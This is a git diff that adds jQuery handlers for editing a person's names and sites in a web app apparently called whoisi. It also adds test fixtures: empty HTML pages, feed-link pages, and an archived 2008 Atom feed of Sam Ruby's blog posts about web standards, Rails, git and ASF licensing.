+                      callback: Recaptcha.focus_response_field });
+}
+
+function setup_person_handlers() {
+    // When someone wants to add a new site load the HTML from the
+    // server and call the callback.  Note that this happens in the
+    // context of the containing span element
+    $(".site-add").click(function() {
+        // We only do one of these at a time due to recaptcha limits
+       if (Recaptcha.get_response() != null) {
+           console.log("skipping site add");
+           return false;
+       }
+        console.log("site add started");
+        var site_add = $(this);
+       var n = new AddNewSite;
+       n.setSiteAdd(site_add);
+       n.loadAddForm();
+       return false;
+    });
+
+    // Attach handlers for any sites that are in the middle of an
+    // update when the page is loaded.
+    $(".site-add-status").each(function() {
+       var add_status = $(this);
+       var n = new InProgressSite;
+       n.setAddStatus(add_status);
+    });
+
+    // And any URLs that need to be picked
+    var lci = $(".site-add-pick").parents(".link-collection-item").filter(":first");
+    // that call will always return an array - even if it's
+    // zero-length
+    if (lci.length) {
+       p = new PickSite;
+       p.setPick(lci);
+    }
+
+    // Add a handler for any link-collection-items that need a refresh
+    $(".link-collection-item[needs-refresh=True]").each(function() {
+       var r = new RefreshSite;
+        var lci = $(this);
+       r.setLinkCollectionItem(lci);
+        r.setUpdateTimer();
+    });
+
+    // Update the primary name
+    $(".primary-name-edit").click(function() {
+        console.log("primary-name-edit");
+       if (Recaptcha.get_response() != null) {
+            console.log("skipping name edit");
+           return false;
+        }
+       cn = new ChangeName;
+       l = $(this);
+       cn.setName(l);
+       cn.loadChangeForm();
+
+       return false;
+    });
+
+    // Add an alias
+    $(".name-add").click(function() {
+       if (Recaptcha.get_response() != null) {
+            console.log("skipping name add");
+           return false;
+        }
+        console.log("name-add");
+       var obj = $(this);
+       ann = new AddNewName;
+       ann.setName(obj);
+       ann.loadAddForm()
+       return false;
+    });
+
+    // Remove an alias
+    $(".name-remove").click(function() {
+       console.log("name-remove");
+       if (Recaptcha.get_response() != null) {
+            console.log("skipping name remove");
+           return false;
+        }
+       var obj = $(this);
+       rn = new RemoveName;
+       rn.setName(obj);
+       rn.loadRemoveForm();
+       return false;
+    });
+
+    // Remove a site
+    $(".site-remove").click(function() {
+        console.log("site-remove");
+       if (Recaptcha.get_response() != null) {
+            console.log("skipping remove site");
+           return false;
+        }
+        var obj = $(this);
+        rs = new RemoveSite;
+        rs.setSite(obj);
+        rs.loadRemoveForm();
+        return false;
+    });
+}
+
+// Event handlers to attach to the document
+$(document).ready(function() {
+    setup_person_handlers();
+})
+
diff --git a/whoisi/static/tests/empty.html b/whoisi/static/tests/empty.html
new file mode 100644 (file)
index 0000000..53a7f24
--- /dev/null
@@ -0,0 +1,6 @@
+<html>
+<head>
+</head>
+<body>
+</body>
+</html>
diff --git a/whoisi/static/tests/empty_feed.html b/whoisi/static/tests/empty_feed.html
new file mode 100644 (file)
index 0000000..990af87
--- /dev/null
@@ -0,0 +1,7 @@
+<html>
+<head>
+<link rel="alternate" type="application/atom+xml" title="Atom 0.3" href="http://localhost:9090/static/tests/empty_file.atom"/>
+</head>
+<body>
+</body>
+</html>
diff --git a/whoisi/static/tests/empty_file.atom b/whoisi/static/tests/empty_file.atom
new file mode 100644 (file)
index 0000000..8b13789
--- /dev/null
@@ -0,0 +1 @@
+
diff --git a/whoisi/static/tests/multiple_feeds.html b/whoisi/static/tests/multiple_feeds.html
new file mode 100644 (file)
index 0000000..c940e54
--- /dev/null
@@ -0,0 +1,9 @@
+<html>
+<head>
+<link rel="alternate" type="application/atom+xml" title="First Feed" href="http://localhost:9090/static/tests/empty_file.atom"/>
+<link rel="alternate" type="application/atom+xml" title="Some Other Feed" href="http://localhost:9090/static/tests/empty_file.atom"/>
+</head>
+<body>
+ZOMG!!!
+</body>
+</html>
diff --git a/whoisi/static/tests/no-feed-relative-links.atom b/whoisi/static/tests/no-feed-relative-links.atom
new file mode 100644 (file)
index 0000000..a6bd196
--- /dev/null
@@ -0,0 +1,467 @@
+<?xml version="1.0" encoding="utf-8"?>
+<feed xmlns="http://www.w3.org/2005/Atom"
+  xmlns:thr="http://purl.org/syndication/thread/1.0">
+  <id>http://intertwingly.net/blog/index.atom</id>
+  <icon>../favicon.ico</icon>
+
+  <title>Sam Ruby</title>
+  <subtitle>It’s just data</subtitle>
+  <author>
+    <name>Sam Ruby</name>
+    <email>rubys@intertwingly.net</email>
+    <uri>/blog/</uri>
+  </author>
+  <updated>2008-07-05T09:28:36-04:00</updated>
+  <link rel="license" href="http://creativecommons.org/licenses/BSD/"/>
+
+  <entry>
+    <id>tag:intertwingly.net,2004:2864</id>
+    <link href="/blog/2008/07/02/authoritative-true"/>
+    <link rel="replies" href="2864.atom" thr:count="31" thr:updated="2008-07-05T09:28:27-04:00"/>
+    <title>authoritative=true</title>
+    <content type="xhtml"><div xmlns="http://www.w3.org/1999/xhtml"><svg style="float:right" xmlns="http://www.w3.org/2000/svg" width="105" height="95" viewBox="0 0 105 95">
+<path fill="#7B4" d="M106,13c-21,9-31,4-40-2l-10,35c9,6,20,11,40,2l10-35z"/>
+<path fill="#49c" d="M39,83c-9-6-18-10-39-2l10-35c21-9,31-4,39,2l-10,35z"/>
+<path fill="#E63" d="M51,42c-5-4-11-7-19-7c-6,0-12,1-20,5l10-35c20-8,30-4,39,2l-10,35z"/>
+<path fill="#FD5" d="M55,52c9,6,18,10,39,2l-10,35c-21,8-30,3-39-3l10-34z"/>
+</svg>
+<p><a href="http://blogs.msdn.com/ie/archive/2008/07/02/ie8-security-part-v-comprehensive-protection.aspx"><cite>Eric Lawrence</cite></a>: <em>we’ve provided web-applications with the ability to opt-out of MIME-sniffing. Sending the new authoritative=true attribute on the Content-Type HTTP response header prevents Internet Explorer from MIME-sniffing a response away from the declared content-type</em></p>
+<p>While I’m not a fan of content-sniffing, one of my few pet peeves with HTML5 is that it endeavors to <a href="http://www.whatwg.org/specs/web-apps/current-work/#content-type3">institutionalize the practice</a> with no provisions for content providers to opt out.  As the lesser of the available evils, I hope Microsoft’s proposal is quickly adopted by other browsers.</p></div></content>
+    <updated>2008-07-02T21:37:10-04:00</updated>
+  </entry>
+
+  <entry>
+    <id>tag:intertwingly.net,2004:2863</id>
+    <link href="/blog/2008/06/30/June-31st"/>
+    <link rel="replies" href="2863.atom" thr:count="1" thr:updated="2008-06-30T20:51:55-04:00"/>
+    <title>June 31st</title>
+    <content type="xhtml"><div xmlns="http://www.w3.org/1999/xhtml"><svg style="float:right" xmlns="http://www.w3.org/2000/svg" width="75" height="113" viewBox="0 0 75 113">
+<path d="M44,13c-42,39,-46,60-12,54c1-1,1,0,1,5c0,7,0,9,4,9c5,0,4-1,4-9c0,-4-1-8,0-9c2-9,0-11-7-7c-14,8,-26,4,2-21l14-14c8,-8,0,-15-7-7" fill="#838"/>
+<circle r="7" fill="#838" cx='38' cy='93'/>
+</svg>
+<p><a href="http://www.dehora.net/journal/2008/07/01/june-31st/"><cite>Bill de hÓra</cite></a>: <em>You’re seeing this error because you have DEBUG = True in your Django settings file. Change that to False, and Django will display a standard 404 page.</em></p>
+<p><b>Update</b>: seems to be better now.  Will leave with <a href="http://www.dehora.net/journal/2008/07/">this</a> somewhat odd page.</p></div></content>
+    <published>2008-06-30T19:45:52-04:00</published>
+    <updated>2008-06-30T20:20:28-04:00</updated>
+  </entry>
+
+  <entry>
+    <id>tag:intertwingly.net,2004:2862</id>
+    <link href="/blog/2008/06/26/Unable-to-Complete-the-Call-as-Dialed"/>
+    <link rel="replies" href="2862.atom" thr:count="11" thr:updated="2008-06-30T21:48:09-04:00"/>
+    <title>Unable to Complete the Call as Dialed</title>
+    <summary type="xhtml"><div xmlns="http://www.w3.org/1999/xhtml"><p><a href="http://www.tbray.org/ongoing/When/200x/2008/06/26/TLDs">Tim Bray</a>: <em>I’m not sure whether this <a href="http://www.theregister.co.uk/2008/06/26/icann_approves_customized_top_level_domains/">free-TLD</a> idea is a good or bad thing in the big picture</em></p>
+<p>Consider the fun that will occur when existing software is presented with email addresses that contain non-latin characters.</p></div></summary>
+    <content type="xhtml"><div xmlns="http://www.w3.org/1999/xhtml"><svg style="float:right" xmlns="http://www.w3.org/2000/svg" width="130" height="77" viewBox="0 0 130 77">
+  <path d="M2,12l8-6h11v11l-6,8zM62,12l8-6h11v11l-6,8zM2,62l8-6h11v11l-6,8zM62,62l8-6h11v11l-6,8z" fill="#fe898b"/>
+  <path d="M2,12h13v13h-13zM62,12h13v13h-13zM2,62h13v13h-13zM62,62h13v13h-13z" fill="#cb0612"/>
+
+  <path d="M23,12l8-6h29v11l-5,7h-4v9l-6,7zM59,68l-5,6l-30-11l6-7h3v-8l6-5h11v14h9z" fill="#52a9ff"/>
+  <path d="M23,12h32v12h-10v16h-12v-16h-10zM54,74h-30v-11h9v-15h12v15h9z" fill="#5c64b5"/>
+
+  <path d="M84,12l8-6c18-4,38,19,34,27l-5,6zM84,63c18,4,38,5,42-21h-12l-5,6c-2,14,-18,10-20,10z" fill="#87f7a2"/>
+  <path d="M84,12c20-5,41,15,37,27h-12c0-12-8-15-25-15zM84,75c20,3,41-15,37-27h-12c0,12-8,15-25,15z" fill="#18bf73"/>
+</svg>
+<p><a href="http://www.tbray.org/ongoing/When/200x/2008/06/26/TLDs"><cite>Tim Bray</cite></a>: <em>I’m not sure whether this <a href="http://www.theregister.co.uk/2008/06/26/icann_approves_customized_top_level_domains/">free-TLD</a> idea is a good or bad thing in the big picture</em></p>
+<p>When I was a young’un, <a href="http://en.wikipedia.org/wiki/North_American_Numbering_Plan#History">telephone area codes in North America</a> had a zero or a one a the middle digit, and none of the exchanges in such area codes had such.  This enabled telephone switching equipment to detect whether the number you were dialing was a local or long distance number without requiring a one to be dialed first.  Eventually, phone numbers became scarce, and this was ditched.</p>
+<p>This meant that the <abbr title="Private Branch eXchange">PBX</abbr> equipment in a number of locations were unable to make calls to these new numbers, and had to be replaced.</p>
+<p>The modern equivalent of this may be <a href="http://www.regular-expressions.info/email.html">email addresses</a>.  Consider the fun that will occur when existing software is presented with email addresses that contain non-latin characters.</p></div></content>
+    <updated>2008-06-26T20:42:00-04:00</updated>
+  </entry>
+
+  <entry>
+    <id>tag:intertwingly.net,2004:2861</id>
+    <link href="/blog/2008/06/24/Minimalist-Markup"/>
+    <link rel="replies" href="2861.atom" thr:count="29" thr:updated="2008-06-28T01:16:15-04:00"/>
+    <title>Minimalist Markup</title>
+    <summary type="xhtml"><div xmlns="http://www.w3.org/1999/xhtml"><p>While <a href="http://tomayko.com/writings/administrative-debris">Ryan</a>, <a href="http://www.b-list.org/weblog/2008/jun/15/minimal/">James</a>, and <a href="http://diveintomark.org/archives/2008/06/21/minimalism">Mark</a> have been pursing a minimalist design from a presentation perspective, I’ve been quietly pursuing a minimalist design from a markup perspective.</p>
+<p>My <a href="http://rails.intertwingly.net/blog/">front page</a> (under development) will be <a href="http://html5.validator.nu/?doc=http%3A%2F%2Frails.intertwingly.net%2Fblog%2F">valid HTML5</a> and yet have absolutely no <code>div</code> or <code>span</code> elements, no inline <code>style</code> or <code>class</code> attributes, and no <code>table</code> or <code>img</code> elements used purely for layout purposes.</p></div></summary>
+    <content type="xhtml"><div xmlns="http://www.w3.org/1999/xhtml"><svg style="float:right" xmlns="http://www.w3.org/2000/svg" width="100" height="100" viewBox="0 0 100 100">
+  <path d="M38,38c0-12,24-15,23-2c0,9-16,13-16,23v7h11v-4c0-9,17-12,17-27c-2-22-45-22-45,3zM45,70h11v11h-11z" fill="#371"/>
+  <circle cx="50" cy="50" r="45" fill="none" stroke="#371" stroke-width="10"/>
+</svg>
+<p>While <a href="http://tomayko.com/writings/administrative-debris">Ryan</a>, <a href="http://www.b-list.org/weblog/2008/jun/15/minimal/">James</a>, and <a href="http://diveintomark.org/archives/2008/06/21/minimalism">Mark</a> have been pursing a minimalist design from a presentation perspective, I’ve been quietly pursuing a minimalist design from a markup perspective.  I’m not sure when it changed, but Firefox 3.0, Safari 3.1.1, and Opera 9.5 now all support units of <em>em</em> in SVG dimensions.</p>
+<p>This means that my <a href="http://rails.intertwingly.net/blog/">front page</a> (under development) can be <a href="http://html5.validator.nu/?doc=http%3A%2F%2Frails.intertwingly.net%2Fblog%2F">valid HTML5</a> and yet have absolutely no <code>div</code> or <code>span</code> elements, no inline <code>style</code> or <code>class</code> attributes, and no <code>table</code> or <code>img</code> elements used purely for layout purposes.</p>
+<p>I have more work to do on individual post pages and on the archives.  The archives will continue to employ a table for the calendar.</p></div></content>
+    <updated>2008-06-24T19:10:50-04:00</updated>
+  </entry>
+
+  <entry>
+    <id>tag:intertwingly.net,2004:2860</id>
+    <link href="/blog/2008/06/23/OpenID-Check-on-Rails"/>
+    <link rel="replies" href="2860.atom" thr:count="0"/>
+    <title>OpenID Check on Rails</title>
+    <summary type="xhtml"><div xmlns="http://www.w3.org/1999/xhtml">Looking at <a href="http://agilewebdevelopment.com/plugins/openidauthentication">openidauthentication</a>, it seem to do everything <a href="http://www.intertwingly.net/blog/2006/12/28/Unobtrusive-OpenID">I want</a>.  Since I am looking to check an identity during the processing of a request, I need to somehow have the id of the unprocessed record tag alone with the identity request.</div></summary>
+    <content type="xhtml"><div xmlns="http://www.w3.org/1999/xhtml"><svg style="float:right" xmlns="http://www.w3.org/2000/svg" width="100" height="100" viewBox="0 0 100 100">
+  <path d="M43,90c-88,-16,-21,-86,41,-51l9,-6v17h-26l8,-5c-55,-25,-86,29,-32,36z" fill="#ccc"/>
+  <path d="M43,90v-75l14,-9v75z" fill="#f60"/>
+</svg>
+<p>Looking at <a href="http://agilewebdevelopment.com/plugins/openidauthentication">openidauthentication</a>, it doesn’t seem to do everything <a href="http://www.intertwingly.net/blog/2006/12/28/Unobtrusive-OpenID">I want</a>.  Since I am looking to check an identity during the processing of a request, I don’t need a ‘login’, instead I need to somehow have the id of the unprocessed record tag alone with the identity request.</p>
+<p>The <a href="http://www.danwebb.net/2007/2/27/the-no-shit-guide-to-supporting-openid-in-your-applications">No Shit Guide</a> is quite a bit simpler, but is based on the <a href="http://openidenabled.com/ruby-openid/">1.1.x version of the ruby-openid</a> library.</p>
+<p><a href="http://intertwingly.net/stories/2008/06/23/openid_controller.rb">This controller</a> contains a simpler pair of methods (one public, one protected) that does what I want and can easily be adapted.  Simply drop these two methods into your favorite controller and modify the actions that are taken at the obvious points (DiscoveryFailure, success, failure, cancel, other).  At the moment, all that is done is that the data is logged and/or stashed into a session, but it could easily be modified so that a failure or cancel could trigger moderation, or a required preview, or a captcha, or whatever.</p></div></content>
+    <updated>2008-06-23T15:20:57-04:00</updated>
+  </entry>
+
+  <entry>
+    <id>tag:intertwingly.net,2004:2859</id>
+    <link href="/blog/2008/06/19/Intertwingly-on-Git"/>
+    <link rel="replies" href="2859.atom" thr:count="4" thr:updated="2008-06-21T08:17:00-04:00"/>
+    <title>Intertwingly on Git</title>
+    <summary type="xhtml"><div xmlns="http://www.w3.org/1999/xhtml">I’ve installed git and gitweb, and put up my <a href="http://code.intertwingly.net/public/git/?p=riggr;a=summary">initial code explorations</a> for a Ruby on Rails based rewrite of this blog’s software.  Neither the code nor the tests are all that much just yet, mostly just scaffolding and CSS, a small bit of controller logic, and the autogenerated tests and fixtures.  But anybody out there feels compelled to try it out, go for it.</div></summary>
+    <content type="xhtml"><div xmlns="http://www.w3.org/1999/xhtml"><svg style="float:right" xmlns="http://www.w3.org/2000/svg" width="120" height="70" viewBox="0 0 120 70">
+  <path d="M20,20h20m5,0h20m5,0h20" stroke="#c00000" stroke-width="10"/>
+  <path d="M20,40h20m5,0h20m5,0h20M30,30v20m25,0v-20m25,0v20" stroke="#008000" stroke-width="6"/>
+</svg>
+<p>I’ve installed <a href="http://git.or.cz/">git</a> and <a href="http://git.or.cz/gitwiki/Gitweb">gitweb</a>, and put up my <a href="http://code.intertwingly.net/public/git/?p=riggr;a=summary">initial code explorations</a> for a Ruby on Rails based rewrite of this blog’s software.  Neither the code nor the tests are all that much just yet, mostly just scaffolding and CSS, a small bit of controller logic, and the autogenerated tests and fixtures.  But anybody out there feels compelled to try it out, go for it:</p>
+<pre class="code">git clone http://code.intertwingly.net/public/git/riggr
+rake db:migrate
+rake test</pre>
+<p>Initial impressions:</p>
+<ul>
+<li>Git is <b>fast</b></li>
+<li>The integration with ssh and pre/post commit hooks makes even single developer apps a breeze.</li>
+</ul>
+
+<p>Links I found useful in the process: </p>
+<ul>
+<li><a href="http://autopragmatic.com/2008/01/26/hosting-a-git-repository-on-dreamhost/">Hosting a git repository on dreamhost</a></li>
+<li><a href="http://toolmantim.com/article/2007/12/5/setting_up_a_new_rails_app_with_git">Setting up a new Rails app with Git</a></li>
+<li><a href="http://ozmm.org/posts/git_post_commit_for_profit.html">Git post-commit for profit</a></li>
+<li><a href="http://tomayko.com/writings/the-thing-about-git">The Thing About Git</a></li>
+</ul></div></content>
+    <updated>2008-06-19T16:09:25-04:00</updated>
+  </entry>
+
+  <entry>
+    <id>tag:intertwingly.net,2004:2858</id>
+    <link href="/blog/2008/06/19/Atom-PubSub-module-for-ejabberd"/>
+    <link rel="replies" href="2858.atom" thr:count="1" thr:updated="2008-06-19T22:29:55-04:00"/>
+    <title>Atom-PubSub module for ejabberd</title>
+    <content type="xhtml"><div xmlns="http://www.w3.org/1999/xhtml"><svg style="float:right" xmlns="http://www.w3.org/2000/svg" width="80" height="120" viewBox="0 0 80 120">
+  <path d="M9,15c-1,21,4,11,6,9c10-15,48-6,53,12c14,38-30,30-23,67c1,1,3,2,4-1c-10-29,44-25,22-70c-10-29-52-27-62-17z
+M18,80c5,6,13,9,20,6c3-1,3,1,2,3c-5,3-20,2-26-5c-5-5,0-12,4-4z
+M18,92c5,3,9,5,18,5c7-2,6,3,2,4c-5,2-20-3-22-6c-10-6-7-11,2-3z
+M18,103c5,3,15,7,20,4c5-3,7-1,2,2c-5,5-21,2-26-3c-8-5-3-13,4-3z" fill="#C00"/>
+  <path d="M20,64c-1-13,9-15,12-6c5-5,20-8,6,13c-3,5-5,4-4-1c13-15,2-13-3-8c-1-11-9-7-7,2c1,7-2,7-4,0z" fill="#fb0"/>
+</svg>
+<a href="http://www.cestari.info/2008/6/19/atom-pubsub-module-for-ejabberd"><cite>Eric Cestari</cite></a>: <em>This module will offer an AtomPub interface to ejabberd PubSub data... The AtomPub interface passes the Atom Protocol Exerciser (though some warnings remain).  It means that any AtomPub clients will be able to post to a specific node in your PubSub tree.  It also means that your PubSub tree will also be available as an AtomFeed.</em>  [via <a href="http://intertwingly.net/blog/2007/09/27/Comment-Notification-via-XMPP#c1213866387"><cite>kael</cite></a>]</div></content>
+    <updated>2008-06-19T06:35:00-04:00</updated>
+  </entry>
+
+  <entry>
+    <id>tag:intertwingly.net,2004:2857</id>
+    <link href="/blog/2008/06/16/Intertwingly-on-Rails"/>
+    <link rel="replies" href="2857.atom" thr:count="10" thr:updated="2008-07-04T07:46:07-04:00"/>
+    <title>Intertwingly on Rails</title>
+    <summary type="xhtml"><div xmlns="http://www.w3.org/1999/xhtml"><p>Views: <a href="http://rails.intertwingly.net/blog/">index</a>, <a href="http://rails.intertwingly.net/blog/2008/6/14/Advertise-One-Feed-Format">post</a>, <a href="http://rails.intertwingly.net/blog/comments.html">comments</a>, <a href="http://rails.intertwingly.net/blog/archives/2008/06">archives</a></p>
+<p>This clearly is just modest beginnings.  A snapshot of existing data.  Read-only views at this point.  No caching.</p>
+<p>Technology is Rails 2.0.2 on <a href="http://www.sqlite.org/">SQLite3</a> using <a href="http://www.modrails.com/">Phusion Passenger</a> on <a href="http://www.dreamhost.com/">Dreamhost</a>.</p></div></summary>
+    <content type="xhtml"><div xmlns="http://www.w3.org/1999/xhtml"><svg style="float:right" xmlns='http://www.w3.org/2000/svg' width="100" height="100" viewBox="0 0 100 100">
+  <rect fill="#039" x="0" y="3" height="95" width="95" rx="15"/>
+  <path d='M20,56L19,35C19,30,27,20,33,21L55,21A30,30,0,0,1,20,56Z' fill='#369' stroke='#369' stroke-linejoin='round' stroke-width='5px'/>
+  <path d='M17,67A37,37,0,0,0,67,18A36,36,0,1,1,17,67' fill='#FFF'/>
+</svg>
+<p>Views: <a href="http://rails.intertwingly.net/blog/">index</a>, <a href="http://rails.intertwingly.net/blog/2008/6/14/Advertise-One-Feed-Format">post</a>, <a href="http://rails.intertwingly.net/blog/comments.html">comments</a>, <a href="http://rails.intertwingly.net/blog/archives/2008/06">archives</a></p>
+<p>This clearly is just modest beginnings.  A snapshot of existing data.  Read-only views at this point.  No caching.</p>
+<p>Technology is Rails 2.0.2 on <a href="http://www.sqlite.org/">SQLite3</a> using <a href="http://www.modrails.com/">Phusion Passenger</a> on <a href="http://www.dreamhost.com/">Dreamhost</a>.</p>
+<p>Installation would have been a simple <abbr title="Secure CoPy">scp</abbr> except for two issues: despite what it says in <a href="http://rails.dreamhosters.com/">this list</a>, the sqlite3-ruby gem does not appear to be installed.  And the current date on the machine appears to be Feb 15, 3155.</p>
+<p>For the model part, I can’t quite bear to break with the idea of flat files yet, so the model consists of two tables: posts and comments, and each contain dates and file name parts only.  The remainder of the model is populated using an after_find hook from the flat files.</p>
+<p>With my current Intertwingly, I had three views that had diverged over time, as well as a “partial” which contained the navigation bar.  The <a href="http://intertwingly.net/blog/">front page</a> (and <a href="http://intertwingly.net/blog/comments.html">comments page</a>) are clean XHTML5, <a href="http://intertwingly.net/blog/2008/06/13/Advertise-One-Feed-Format">individual posts</a> are XHTML1, and the <a href="http://intertwingly.net/blog/archives/">archives</a> are based a layout that I used back when I was on Radio Userland.  In the Rails implementation, I have four views and a layout (index and comments becoming separate views).  Having a common layout encourages consistency, and you can see the difference in the archive view already.  More work needs to be done on the individual posts view.</p>
+<p>The controller methods are positively pedestrian at this point.  They simply obtain the necessary information from the model, and then proceed to render the associated view.</p>
+<p>This is but a modest beginning... allowing people to enter new comments, openid, implementing spam avoidance measures, automated extraction of excerpts, ... the list goes on and on.  But first, I plan to put this code under version control (probably <a href="http://git.or.cz/">git</a>), and implement a test suite.</p></div></content>
+    <updated>2008-06-16T14:53:44-04:00</updated>
+  </entry>
+
+  <entry>
+    <id>tag:intertwingly.net,2004:2856</id>
+    <link href="/blog/2008/06/13/Advertise-One-Feed-Format"/>
+    <link rel="replies" href="2856.atom" thr:count="6" thr:updated="2008-06-16T14:54:38-04:00"/>
+    <title>Advertise One Feed Format</title>
+    <content type="xhtml"><div xmlns="http://www.w3.org/1999/xhtml"><svg style="float:right" xmlns="http://www.w3.org/2000/svg" width="100" height="100" viewBox="0 0 100 100">
+  <rect fill="#F80" x="0" y="3" height="95" width="95" rx="15"/>
+  <circle cx="18" cy="81" r="9" fill="#FFF"/>
+  <path d="M48,84s0-33-33-33 M75,84s0-60-60-60"
+    stroke-linecap="round" stroke-width="15" stroke="#FFF" fill="none"/>
+</svg>
+<p><a href="http://www.somebits.com/weblog/tech/bad/atom-vs-rss-wtf.html">Nelson Minar</a> starts a meme.  <a href="http://rc3.org/2008/06/13/pick-one-feed-format/">Rafe Colburn</a> waters it down.  I’ve watered it down even further.</p>
+<p>Whatever you call your feed, Safari will call it RSS.  Don’t sweat the small stuff.</p>
+<p>Which format should you pick?  I’d suggest that you pick whichever one that you can consistently produce with the fewest errors and warnings detected by the <a href="http://feedvalidator.org/">feedvalidator</a>.  Test with <a href="http://www.intertwingly.net/stories/2004/04/14/i18n.html">Iñtërnâtiônàlizætiøn</a> and <a href="http://www.intertwingly.net/blog/2006/07/14/Another-Month">ampersands</a> in titles.  <a href="http://groups.google.com/group/feedvalidator-users/browse_thread/thread/3dfdad4905b72f9b">June</a>, particularly in the <a href="http://www.timeanddate.com/library/abbreviations/timezones/eu/bst.html">UK</a> is also a good time to test.</p></div></content>
+    <updated>2008-06-13T20:42:30-04:00</updated>
+  </entry>
+
+  <entry>
+    <id>tag:intertwingly.net,2004:2855</id>
+    <link href="/blog/2008/06/11/RX-for-Pain"/>
+    <link rel="replies" href="2855.atom" thr:count="2" thr:updated="2008-06-12T11:34:06-04:00"/>
+    <title>RX for Pain</title>
+    <content type="xhtml"><div xmlns="http://www.w3.org/1999/xhtml"><svg style="float:right" xmlns='http://www.w3.org/2000/svg' width="100" height="100" viewBox="0 0 100 100">
+<path d='M20,100l74-5l6-75zM61,35l37-2l-29-24z' fill='#b11'/>
+<path d='M21,100l74-5l-47-4zM98,33c4-12,5-29-14-33l-15,9l29,24z' fill='#811'/>
+<path d='M7,67l14,33l11-38z' fill='#d44'/>
+<path d='M29,61l42,13l-10-42zM56,0h28l-16,10zM1,51l-1,29l7-13z' fill='#c22'/>
+<path d='M32,61l39,13c-14,13-30,24-50,26z' fill='#a00'/>
+<path d='M61,35l10,39l17-23zM32,61l16,30c9-5,16-11,23-17l-39-13z' fill='#900'/>
+<path d='M61,35l27,17l10-20l-37,3z' fill='#800'/>
+<path d='M71,74l23,21l-6-44zM0,80c1,19,15,20,21,20l-14-33l-7,13zM7,67l-2,26c4,6,9,7,15,6c-4-11-13-32-13-32zM69,9l30,4c-1-7-6-11-15-13l-15,9z' fill='#911'/>
+<path d='M1,51l6,16l25-5l29-27l8-26l-13-9l-22,8c-6,7-20,19-20,19c-1,1-9,16-13,24z' fill='#ebb'/>
+<path d='M21,21c15-14,34-23,42-16c7,8-1,26-16,40c-14,15-33,24-41,17c-7-7,1-26,15-41z' fill='#b11'/>
+</svg>
+<p><a href="http://www.tbray.org/ongoing/When/200x/2008/06/10/RX-Work"><cite>Tim Bray</cite></a>: <em>There is quite a bit of disgruntlement about XML and Ruby right at this point in time</em></p>
+<p>I’m scheduled to give a <a href="http://en.oreilly.com/oscon2008/public/schedule/detail/2969">talk about this subject and more</a> at <a href="http://www.conferences.oreilly.com/oscon">OSCON</a> next month.  Short summary: if you are a markup geek (i.e., deal with things like HTML or XML), and expect things to “just work”, now is not a great time to be exploring Ruby 1.9.  The biggest issue is that <a href="http://rubyforge.org/tracker/index.php?func=detail&amp;aid=17666&amp;group_id=494&amp;atid=1973">bug</a> <a href="http://rubyforge.org/tracker/index.php?func=detail&amp;aid=17700&amp;group_id=426&amp;atid=1698">reports</a> and <a href="http://intertwingly.net/blog/2008/01/04/Builder-on-1-9">suggestions</a> don’t seem to attract the necessary cycles from the key developers.</p>
+<p>Hopefully, venues like OSCON can help draw attention to this important issue.</p></div></content>
+    <updated>2008-06-11T10:40:52-04:00</updated>
+  </entry>
+
+  <entry>
+    <id>tag:intertwingly.net,2004:2854</id>
+    <link href="/blog/2008/06/06/Sausages-and-Uncertainty"/>
+    <link rel="replies" href="2854.atom" thr:count="20" thr:updated="2008-06-11T18:44:14-04:00"/>
+    <title>Sausages and Uncertainty</title>
+    <summary type="xhtml"><div xmlns="http://www.w3.org/1999/xhtml">Yesterday we had an ASF members meeting.  You can see the board results <a href="http://www.jimjag.com/imo/index.php?/archives/214-ASF-Board-Elections.html">here</a>.  I was asked about the status of the <a href="http://people.apache.org/~rubys/3party.html">ASF third party licensing policy</a>.  Luckily I had <a href="http://wiki.apache.org/legal/Ramblings">prepared in advance</a>.</div></summary>
+    <content type="xhtml"><div xmlns="http://www.w3.org/1999/xhtml"><svg style="float:right" xmlns='http://www.w3.org/2000/svg' width="104" height="96" viewBox="0 0 104 96">
+  <desc><![CDATA[
+    Scales of Justice.  Based on work
+    Copyright 2007 by Ken A L Coar.  All rights reserved.
+    The design and this SVG rendition are protected by copyright law,
+    and may not be used or reproduced without the express
+    permission of the author, coar@apache.org.
+  ]]></desc>
+  <g fill='#cbb820' stroke='#cbb820'>
+    <path d='M1,69l13-51l13,51M77,69l13-51l13,51' fill='none'/>
+    <path d='M0,69c5,9,23,9,28,0zM76,69c5,9,23,9,28,0zM48,94l2-88l2-4l2,4l2,88z' stroke='none'/>
+    <path d='M52,14c6-17,35,9,40,0c-2,14-34-14-40,5c-6-19-38,9-40-5c5,9,34-17,40,0'/>
+  </g>
+</svg>
+<p>I’ve often found lawyers frustrating.  No matter how carefully you craft a question to only permit answers of <b>yes</b> or <b>no</b>, they always seem to find a way to pick door number 3.</p>
+<p>Given that, I should have known better in <a href="http://www.apache.org/foundation/records/minutes/2007/board_minutes_2007_07_18.txt">July</a> when I volunteered to take over a vacancy as Chair of the ASF Legal Affairs Committee when <a href="http://en.oreilly.com/oscon2008/public/schedule/speaker/3809">Cliff Schmidt</a> decided to devote more of his time to <a href="http://www.literacybridge.org/about.html">Literacy Bridge</a>.  And I certainly should have known better than to volunteer to take an unfinished <a href="http://people.apache.org/~rubys/3party.html">third party licensing policy</a> to completion.</p>
+<p>Fast forward to yesterday.  We had an ASF members meeting.  You can see the board results <a href="http://www.jimjag.com/imo/index.php?/archives/214-ASF-Board-Elections.html">here</a>.  New members were elected too — those names will dribble out as they are informed and (hopefully) accept.</p>
+<p>At that meeting, the tables were turned.  Instead of it being me crying for a simple yes or no answer, a number of members, led by <a href="http://www.betaversion.org/~stefano/">Stefano</a> and <a href="http://enthusiasm.cozy.org/">Ben</a> led the charge and came after me complete with torches and pitchforks.  OK, so I’m exaggerating slightly.  There were no torches.  And only <b>really</b> tiny pitchforkes.  Actually they weren’t pitchforks at all — more like Monty Python-esque <a href="http://www.youtube.com/watch?v=9V7zbWNznbs">taunting</a>.  Oh, and it was not directed at me, exactly.  Just at the lack of closure.  On what <b>clearly</b> must be a series of simple <em>yes</em> and <em>no</em> questions.  I mean really.  For example, is the <a href="http://markmail.org/message/aw7fexnksqq2gvao">Creative Commons Attribution license</a> version 2.5 compatible with the <a href="http://www.apache.org/licenses/LICENSE-2.0.html">Apache License version 2.0</a>?  Surely <b>that</b> is a yes or no question, right?  Actually, <a href="http://markmail.org/message/jafgk762wylbhzru">no</a>.  But we can quickly come up with a <a href="http://markmail.org/message/aarfydgmuay6cgg6">set of guidelines</a> that everybody can live with.  And, after all is said and done, isn’t that what everybody really needs?</p>
